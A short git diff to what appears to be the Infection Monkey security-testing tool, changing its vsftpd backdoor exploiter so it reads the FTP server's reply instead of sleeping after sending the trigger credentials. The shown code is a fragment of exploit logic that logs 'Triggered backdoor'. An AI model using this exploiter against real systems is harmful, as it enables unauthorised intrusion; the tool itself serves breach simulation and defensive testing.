diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py
index 6f05ba428..bf36adfe0 100644
--- a/monkey/infection_monkey/exploit/vsftpd.py
+++ b/monkey/infection_monkey/exploit/vsftpd.py
@@ -40,7 +40,7 @@ class VSFTPDExploiter(HostExploiter):
             ftp_socket.send(USERNAME)
             ftp_socket.recv(128).decode('utf-8')
             ftp_socket.send(PASSWORD)
-            time.sleep(1)
+            ftp_socket.recv(128).decode('utf-8')
             ftp_socket.close()
             LOG.info('Triggered backdoor')